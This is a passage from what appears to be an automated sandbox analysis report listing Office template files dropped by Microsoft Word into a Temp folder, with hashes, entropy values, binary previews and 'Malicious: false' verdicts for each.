Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.e.x.t. .S.i.d.e.b.a.r. .(.A.n.n.u.a.l. .R.e.p.o.r.t. .R.e.d. .a.n.d. .B.l.a.c.k. .d.e.s.i.g.n.)...d.o.c.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD5A6F.tmp\Text Sidebar (Annual Report Red and Black design).docx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	47296
Entropy (8bit):	6.42327948041841
Encrypted:	false
SSDEEP:	768:ftjI1BT8N37szq00s7dB2wMVJGHR97/RDU5naXUsT:fJIPTfq0ndB2w1bpsE
MD5:	5A53F55DD7DA8F10A8C0E711F548B335
SHA1:	035E685927DA2FECB88DE9CAF0BECEC88BC118A7
SHA-256:	66501B659614227584DA04B64F44309544355E3582F59DBCA3C9463F67B7E303
SHA-512:	095BD5D1ACA2A0CA3430DE2F005E1D576AC9387E096D32D556E4348F02F4D658D0E22F2FC4AA5BF6C07437E6A6230D2ABF73BBD1A0344D73B864BC4813D60861
Malicious:	false
Preview:	PK........<dSA4...T...P.......[Content_Types].xml ...(........................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^\-o..D....n_d.jq...gwg.t........:?/..}..Vu5...rQ..7..X.Q."./g..o....f....YB......<..w?...ss..e.4Y}}...0.Y...........u3V.o..r...5....7bA..Us.z.`.r(.Y>.&DVy.........6.T...e.\|..g.%<...9a.&...7...}3:B.......<...!...:..7w...y..

C:\Users\user\AppData\Local\Temp\TCD5A80.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	256
Entropy (8bit):	3.4842773155694724
Encrypted:	false
SSDEEP:	6:fxnxUXDAlIJAFIloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyMlI7loGHmD0+dAH/luWvv
MD5:	923D406B2170497AD4832F0AD3403168
SHA1:	A77DA08C9CB909206CDE42FE1543B9FE96DF24FB
SHA-256:	EBF9CF474B25DDFE0F6032BA910D5250CBA2F5EDF9CF7E4B3107EDB5C13B50BF
SHA-512:	A4CD8C74A3F916CA6B15862FCA83F17F2B1324973CCBCC8B6D9A8AEE63B83A3CD880DC6821EEADFD882D74C7EF58FA586781DED44E00E8B2ABDD367B47CE45B7
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .C.o.n.v.e.r.g.i.n.g.T.e.x.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD5A80.tmp\ConvergingText.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	11380
Entropy (8bit):	7.891971054886943
Encrypted:	false
SSDEEP:	192:VJcnLYnAVbOFLaCPLrGGbhaWEu6d3RmryqLkeAShObPb1AYcRMMXjkfa0nYBwggD:VcMC8lLrRbhy1ZqLyShYb1FHQ4C0nYQJ
MD5:	C9F9364C659E2F0C626AC0D0BB519062
SHA1:	C4036C576074819309D03BB74C188BF902D1AE00
SHA-256:	6FC428CA0DCFC27D351736EF16C94D1AB08DDA50CB047A054F37EC028DD08AA2
SHA-512:	173A5E68E55163B081C5A8DA24AE46428E3FB326EBE17AE9588C7F7D7E5E5810BFCF08C23C3913D6BEC7369E06725F50387612F697AC6A444875C01A2C94D0FF
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........q.~<.6..9 ...e......diagrams/layout1.xml..r.........{.]..u...xv7b.....HPd....t.q...b.i_a.'..P.f.3..F..1...U.u.*.2......?}..O..V.....yQ.Mf........w.....O....N.........t3;...e....j.^.o&.....w...../.w................e.................O..,./..6...8>^.^..........ru5...\.=>[M?......g..........w.N....i.........iy6.?........>.......>{yT...........x.........-...z5.L./.g......_.l.1.....#...\|...pr.q

C:\Users\user\AppData\Local\Temp\TCD5A92.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.538396048757031
Encrypted:	false
SSDEEP:	6:fxnxUXcel8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyMelNGHmD0wbnKYZAH/lMZqiv
MD5:	149948E41627BE5DC454558E12AF2DA4
SHA1:	DB72388C037F0B638FCD007FAB46C916249720A8
SHA-256:	1B981DC422A042CDDEBE2543C57ED3D468288C20D280FF9A9E2BB4CC8F4776ED
SHA-512:	070B55B305DB48F7A8CD549A5AECF37DE9D6DCD780A5EC546B4BB2165AF4600FA2AF350DDDB48BECCAA3ED954AEE90F5C06C3183310B081F555389060FF4CB01
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .s.i.s.t.0.2...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD5A92.tmp\sist02.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	250983
Entropy (8bit):	5.057714239438731
Encrypted:	false
SSDEEP:	6144:JwprA6OS95vtfb8p4bgWPzkhUh9I5/oBRSifJeg/yQzvapSiQhHZeruvoXMUw3im:uP
MD5:	F883B260A8D67082EA895C14BF56DD56
SHA1:	7954565C1F243D46AD3B1E2F1BAF3281451FC14B
SHA-256:	EF4835DB41A485B56C2EF0FF7094BC2350460573A686182BC45FD6613480E353
SHA-512:	D95924A499F32D9B4D9A7D298502181F9E9048C21DBE0496FA3C3279B263D6F7D594B859111A99B1A53BD248EE69B867D7B1768C42E1E40934E0B990F0CE051E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCD5A93.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	242
Entropy (8bit):	3.4938093034530917
Encrypted:	false
SSDEEP:	6:fxnxUX44lWWoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyvToGHmD0+dAH/luWvv
MD5:	A6B2731ECC78E7CED9ED5408AB4F2931
SHA1:	BA15D036D522978409846EA682A1D7778381266F
SHA-256:	6A2F9E46087B1F0ED0E847AF05C4D4CC9F246989794993E8F3E15B633EFDD744
SHA-512:	666926612E83A7B4F6259C3FFEC3185ED3F07BDC88D43796A24C3C9F980516EB231BDEA4DC4CC05C6D7714BA12AE2DCC764CD07605118698809DEF12A71F1FDD
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.a.b.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD5A93.tmp\TabList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	4888
Entropy (8bit):	7.8636569313247335
Encrypted:	false
SSDEEP:	96:StrFZ23/juILHPzms5UTuK9CuZGEoEuZ28H1HiGa2RnnLY+tUb:SPZQ7uCHPzms5UTlqauZVHdJRnLY+tUb
MD5:	0A4CA91036DC4F3CD8B6DBF18094CF25
SHA1:	6C7EED2530CD0032E9EEAB589AFBC296D106FBB9
SHA-256:	E5A56CCB3B3898F76ABF909209BFAB401B5DDCD88289AD43CE96B02989747E50
SHA-512:	7C69426F2250E8C84368E8056613C22977630A4B3F5B817FB5EA69081CE2A3CA6E5F93DF769264253D5411419AF73467A27F0BB61291CCDE67D931BD0689CB66
Malicious:	false
Preview:	PK.........e.>.......]>......diagrams/layout1.xmlz........Z..6....;..{......lw.E.o....i..T....&...G.+...$..(.6..>Y.pf8C.\|3.?..m....xA8v.`.hW..@..Zn..(kb..(.......`.+....Y`...\..qh.0.!&w..)\|...<..]Q.. _....m..Z.{3..~..5..R..d..A.O....gU.M..0..#...;.>$...T......T..z.Z.\a.+...?#.~.....1.>?.....DD.1...'..,..(...5B...M..]..>.C..<[....,L.p..Q.v.v^q.Y...5.~^c..5........3.j.......BgJ.nv.. ............tt......Q..p..K....(M.(]@..E..~z.~...8...49.t.Q..Q.n..+.....J.#J.... .P...P.1...!.#&...?A..&.."..\|..D.I...:.....~/.....b..].........nI7.IC.a..%...9.....4...r....b..q....@o........O...y...d@+~.<.\....f.a`:...Qy/^..P....[....@i.I.._.?.X.x.8....)..s....I.0...\|.....t...;...q=k.=..N.%!.(.1....B.Ps/."...#.%..&...j<..2x.=<.......s.....h..?..]?Y?...C.}E.O........{..6.d....I...A.....JN..w+....2..m>9.T7...t.6.}.i..f.Ga..t.].->...8U......G.D`......p..f.. ...qT.YX.t.F..X.u=.3r...4....4Q.D..l.6.+PR...+..T..h: H.&.1~....n.....)........2J.. O.W+vd..f....0.....6..9QhV..

C:\Users\user\AppData\Local\Temp\TCD5AA3.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.4721586910685547
Encrypted:	false
SSDEEP:	6:fxnxUX9+RclTloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyteUTloGHmD0+dAH/luWvv
MD5:	4DD225E2A305B50AF39084CE568B8110
SHA1:	C85173D49FC1522121AA2B0B2E98ADF4BB95B897
SHA-256:	6F00DD73F169C73D425CB9895DAC12387E21C6E4C9C7DDCFB03AC32552E577F4
SHA-512:	0493AB431004191381FF84AD7CC46BD09A1E0FEEC16B3183089AA8C20CC7E491FAE86FE0668A9AC677F435A203E494F5E6E9E4A0571962F6021D6156B288B28A
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .c.h.e.v.r.o.n.a.c.c.e.n.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD5AA3.tmp\chevronaccent.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4243
Entropy (8bit):	7.824383764848892
Encrypted:	false
SSDEEP:	96:22MQe4zHye8/djzF+JjvtmMkkBpF7e0LTkaf:22De4zHHCvF+nRBDXoaf
MD5:	7BC0A35807CD69C37A949BBD51880FF5
SHA1:	B5870846F44CAD890C6EFF2F272A037DA016F0D8
SHA-256:	BD3A013F50EBF162AAC4CED11928101554C511BD40C2488CF9F5842A375B50CA
SHA-512:	B5B785D693216E38B5AB3F401F414CADACCDCB0DCA4318D88FE1763CD3BAB8B7670F010765296613E8D3363E47092B89357B4F1E3242F156750BE86F5F7E9B8D
Malicious:	false
Preview:	PK........NnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........TnB;..d.....h......._rels/.rels...J.0.._%.n..)"....<.w.&.4..!...y.\|.........\|.&3.o.....S..K.T5g.U....g..n.f....T.hcf...D.V..Ft....d....c2".z.....N.s._2....7.0.V.]P.CO?...`...8....4&......_i..Y.T...Z...g....{-...]..pH..@.8....}tP.)..B>..A...S&......9..@...7........b_.PK........r};5.z..............diagrams/layout1.xml.X.n.8.}.........4.+.(...@......(..J..._.!)..b..v.}.H..zf8...dhM....E..I.H..V.Y.R..2zw5L~....^..]...J_..4.\.\......8..z..2T..".X.l.F#......5....,....c....r.kR.I.E..,.2...&%..''.qF.R.2.....T;F...W.. ...3...AR.OR.O..J}.w6..<...,.x..x....`g?.t.I.{.I...\|X..g.....<BR..^...Q.6..m.kp...ZuX.?.z.YO.g...$.......'.]..I.#...]$/~`${.

C:\Users\user\AppData\Local\Temp\TCD5AD3.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.4670546921349774
Encrypted:	false
SSDEEP:	6:fxnxUX0XPYDxUloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyEXPYDCloGHmD0+dAH/luWvv
MD5:	3D52060B74D7D448DC733FFE5B92CB52
SHA1:	3FBA3FFC315DB5B70BF6F05C4FF84B52A50FCCBC
SHA-256:	BB980559C6FC38B703D1E9C41720D5CE8D00D2FF86D4F25136DB02B1E54B1518
SHA-512:	952EF139A72562A528C1052F1942DAE1C0509D67654BF5E7C0602C87F90147E8EE9E251D2632BCB5B511AB2FF8A3734293D0A4E3DBD3D187F5E3C042685F9A0C
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.h.e.m.e.P.i.c.t.u.r.e.A.l.t.e.r.n.a.t.i.n.g.A.c.c.e.n.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD5AD3.tmp\ThemePictureAlternatingAccent.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	5630
Entropy (8bit):	7.87271654296772
Encrypted:	false
SSDEEP:	96:n5ni6jKZWsD+QJaUQ7R6qYFF5QS+BEgeJam6S7ZCHuKViGa2CnnLYLt/ht:nccqxIBdQ1QS+uDJanS7ZCHHVdJCnLY5
MD5:	2F8998AA9CF348F1D6DE16EAB2D92070
SHA1:	85B13499937B4A584BEA0BFE60475FD4C73391B6
SHA-256:	8A216D16DEC44E02B9AB9BBADF8A11F97210D8B73277B22562A502550658E580
SHA-512:	F10F7772985EDDA442B9558127F1959FF0A9909C7B7470E62D74948428BFFF7E278739209E8626AE5917FF728AFB8619AE137BEE2A6A4F40662122208A41ABB2
Malicious:	false
Preview:	PK...........<..W8...j.......diagrams/layout1.xmlz........]......Hy..{...n .l.:.D.vvW..s....-a..fg&.}.\..+......4M..'=...(._.U]U......_.....U...k}.y.,......C..._^.......w/."7....v..Ea........Q..u..D{..{v.x.]....AtB15u..o...w..o.1...f.L...I<[zk7..7^..,.h.&l3...#..)..'H..d.r.#w=b...Ocw.y.&.v..t.>.s..m^M7..8I?o7................H...b....Qv.;'..%.f..#vR....V.H.),g..`...)(..m...[l...b...,.....U...Q.{.y.y.....G.I.tT.n..N.....A.tR..tr....i.<.......,.n:.#.A..a!X.......DK..;v..._M..lSc../n...v.....}.....I.\|8.!b.C..v..\|.....4l..n.;<9.i./..}!&2.c/.r...>.X02[..\|.a.-.....$#-....>...{.M].>3.,\o.x....X%;.F.k.)*".I8<.0..#......?.h..-..O.2.B.s..v....{Abd...h0....H..I.. ...%...$1.Fyd..Y....U...S.Y.#.V.....TH(....%..nk.3Y.e.m.-.S..Q...j.Ai..E..v......4.t.\|..&"...{..4.!.h.....C.P.....W...d[.....U<Yb;B.+W.!.@B....!.=......b"...Y.N;.#..Q...0G.lW...]7:...#9!z......\|f..r..x.....t........`.uL1u.:.....U.D.n.<Q.[%...ngC./..\|...!..q;;.w.".D..lt.".l.4".mt...E..mt

C:\Users\user\AppData\Local\Temp\TCD5AD4.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	256
Entropy (8bit):	3.464918006641019
Encrypted:	false
SSDEEP:	6:fxnxUXR+EqRGRnRE3QepmlJ0+3FbnKfZObdADxp1RDWlVwv:fxnyB+5RmRGHmD0wbnKYZAH+Vwv
MD5:	93149E194021B37162FD86684ED22401
SHA1:	1B31CAEBE1BBFA529092BE834D3B4AD315A6F8F1
SHA-256:	50BE99A154A6F632D49B04FCEE6BCA4D6B3B4B7C1377A31CE9FB45C462D697B2
SHA-512:	410A7295D470EC85015720B2B4AC592A472ED70A04103D200FA6874BEA6A423AF24766E98E5ACAA3A1DBC32C44E8790E25D4611CD6C0DBFFFE8219D53F33ACA7
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .E.q.u.a.t.i.o.n.s...d.o.t.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.W.D. .D.o.c.u.m.e.n.t. .P.a.r.t.s.}.........

C:\Users\user\AppData\Local\Temp\TCD5AD4.tmp\Equations.dotx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	51826
Entropy (8bit):	5.541375256745271
Encrypted:	false
SSDEEP:	384:erH5dYPCA4t3aEFGiSUDtYfEbi5Ry/AT7/6tHODaFlDSomurYNfT4A0VIwWNS89u:Q6Cbh9tENyWdaFUSYNfZS89/3qtEu
MD5:	2AB22AC99ACFA8A82742E774323C0DBD
SHA1:	790F8B56DF79641E83A16E443A75A66E6AA2F244
SHA-256:	BC9D45D0419A08840093B0BF4DCF96264C02DFE5BD295CD9B53722E1DA02929D
SHA-512:	E5715C0ECF35CE250968BD6DE5744D28A9F57D20FD6866E2AF0B2D8C8F80FEDC741D48F554397D61C5E702DA896BD33EED92D778DBAC71E2E98DCFB0912DE07B
Malicious:	false
Preview:	PK.........R.@c}LN4...........[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG.Cd.n.j.{/......V....c..^^.E.H?H.........B.........<...Ae.l.]..{....mK......B....

C:\Users\user\AppData\Local\Temp\TCD5AE5.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	264
Entropy (8bit):	3.4866056878458096
Encrypted:	false
SSDEEP:	6:fxnxUX0XrZUloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyEXWloGHmD0+dAH/luWvv
MD5:	6C489D45F3B56845E68BE07EA804C698
SHA1:	C4C9012C0159770CB882870D4C92C307126CEC3F
SHA-256:	3FE447260CDCDEE287B8D01CF5F9F53738BFD6AAEC9FB9787F2826F8DEF1CA45
SHA-512:	D1355C48A09E7317773E4F1613C4613B7EA42D21F5A6692031D288D69D47B19E8F4D5A29AFD8B751B353FC7DE865EAE7CFE3F0BEC05F33DDF79526D64A29EB18
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.h.e.m.e.P.i.c.t.u.r.e.A.c.c.e.n.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD5AE5.tmp\ThemePictureAccent.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6448
Entropy (8bit):	7.897260397307811
Encrypted:	false
SSDEEP:	192:tgaoRbo1sMjb0NiJ85oPtqcS+yaXWoa8XBzdJYnLYFtWT7:LR1sk+i4o1qc1yaukzd8MK
MD5:	42A840DC06727E42D42C352703EC72AA
SHA1:	21AAAF517AFB76BF1AF4E06134786B1716241D29
SHA-256:	02CCE7D526F844F70093AC41731D1A1E9B040905DCBA63BA8BFFC0DBD4D3A7A7
SHA-512:	8886BFD240D070237317352DEB3D46C6B07E392EBD57730B1DED016BD8740E75B9965F7A3FCD43796864F32AAE0BE911AB1A670E9CCC70E0774F64B1BDA93488
Malicious:	false
Preview:	PK.........k.>........'......diagrams/layout1.xmlz........].r.8.}.V.?p.n....g5..JUn.....(SU......T.l.......X.d."m."..S....F..P.........-..<Y^..=..e.L....m>.pG.....M~...+\....u}o...".Yn}Y.".-r......0...'/........{........F.~.M8.d....(.....q.D.....4\.;.D,.\.)n.S....Z.cl.\|<..7._.dk..7..E.......kS...d.....i.....noX...o.W#9..}.^..I0....G.......+.K.[i.O.\|G..8=.;.8.8.8.8.....{..-..^.y..[.....`...0..f...Q<^~...l....{...pA.z.$.$R.../...E.(..Q.(V.E_ ......X]Q..Y9.......>...8......l..--.ug.......I.;..].u.b.3Lv:.d.%H..l<...V...$.M..A>...^M./.[..I....o~,.U. .$d\..?........O.;..^M..O...A.$Yx..\|f.n...H.=.\|!cG)dd%..(... ..Xe......2B."i...n....P.R..E?... Y.I6...7n..Xs..J..K..'..JaU..d..\|.(y.a.....d......D.Dr...._.._..m..Yu..6.o.\......&.m....wy...4k?..~........f....0.. \...}iS.i..R....q-#_..g........{Z.u.V.r(....j.I...,R..f.=.n.[.'..L'd.n C.0.I.....RpaV........c.k..NR....)B^k...d.i...d0.E. ^..G.']....x.c.>'..p...y.ny.P.x6..%.J\.....De.B\.

C:\Users\user\AppData\Local\Temp\TCD5AE6.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	260
Entropy (8bit):	3.494357416502254
Encrypted:	false
SSDEEP:	6:fxnxUX0XPE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyEXPGHmD0+dAH/luWvv
MD5:	6F8FE7B05855C203F6DEC5C31885DD08
SHA1:	9CC27D17B654C6205284DECA3278DA0DD0153AFF
SHA-256:	B7F58DF058C938CCF39054B31472DC76E18A3764B78B414088A261E440870175
SHA-512:	C518A243E51CB4A1E3C227F6A8A8D9532EE111D5A1C86EBBB23BD4328D92CD6A0587DF65B3B40A0BE2576D8755686D2A3A55E10444D5BB09FC4E0194DB70AFE6
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.h.e.m.e.P.i.c.t.u.r.e.G.r.i.d...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD5AE6.tmp\ThemePictureGrid.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6193
Entropy (8bit):	7.855499268199703
Encrypted:	false
SSDEEP:	192:WavHMKgnU2HUGFhUnkbOKoztj1QfcnLYut3d8:YKeUlGXUnC+HQSMp
MD5:	031C246FFE0E2B623BBBD231E414E0D2
SHA1:	A57CA6134779D54691A4EFD344BC6948E253E0BA
SHA-256:	2D76C8D1D59EDB40D1FBBC6406A06577400582D1659A544269500479B6753CF7
SHA-512:	6A784C28E12C3740300883A0E690F560072A3EA8199977CBD7F260A21E8346B82BA8A4F78394D3BB53FA2E98564B764C2D0232C40B25FB6085C36D20D70A39D1
Malicious:	false
Preview:	PK........X..<..Zn\|...........diagrams/layout1.xmlz........]..H.}......M,l#g.j:.G-eu.S=.$......T_6..I...6...d.NJ....r.p.p.........\|.z.K.M..L.T.(........<..ks.......o...t}...P...7...`.+.[...H..._..X.u.....N....n....n\|..=.....K.:.G7.u....."g.n.h...O.,...c...f.b.P......>[l.....j..?..mxk..n..\|A...,\o..j..wQ.....lw.~].Lh..{3Y..D..5.Y..n..Mh.r..J....6.<.kO...Alv.._.qdKQ.5...-FMN......;.~..._..pv..&...%"Nz].n............vM.`..k..a.:.f]...a........y.....g0..`........\|V...Yq.....#...8....n..i7w<2Rp...R.@.]..%.b%..~...a..<.j...&....?...Qp..Ow\|&4>...d.O.\|.\|...Fk;t.P[A..i.6K.~...Y.N..9......~<Q..f...i.....6..U...l. ..E..4$Lw..p..Y%NR..;...B\|B.U...\e......S...=...B{A.]..*....5Q.....FI..w....q.s{.K....(.]...HJ9........(.....[U\|.....d71.Vv.....a.8...L.....k;1%.T.@+..uv.~v.]`.V....Z.....`.M.@..Z\|.r........./C..Z.n0.....@.YQ.8..q.h.....c.%...p..<..zl.c..FS.D..fY..z..=O..%L..MU..c.:.~.....F]c......5.=.8.r...0....Y.\o.o....U.~n...`...Wk..2b......I~

C:\Users\user\AppData\Local\Temp\TCD5AF6.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.5502940710609354
Encrypted:	false
SSDEEP:	6:fxnxUXfQICl8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyXClNGHmD0wbnKYZAH/lMZqiv
MD5:	9B8D7EFE8A69E41CDC2439C38FE59FAF
SHA1:	034D46BEC5E38E20E56DD905E2CA2F25AF947ED1
SHA-256:	70042F1285C3CD91DDE8D4A424A5948AE8F1551495D8AF4612D59709BEF69DF2
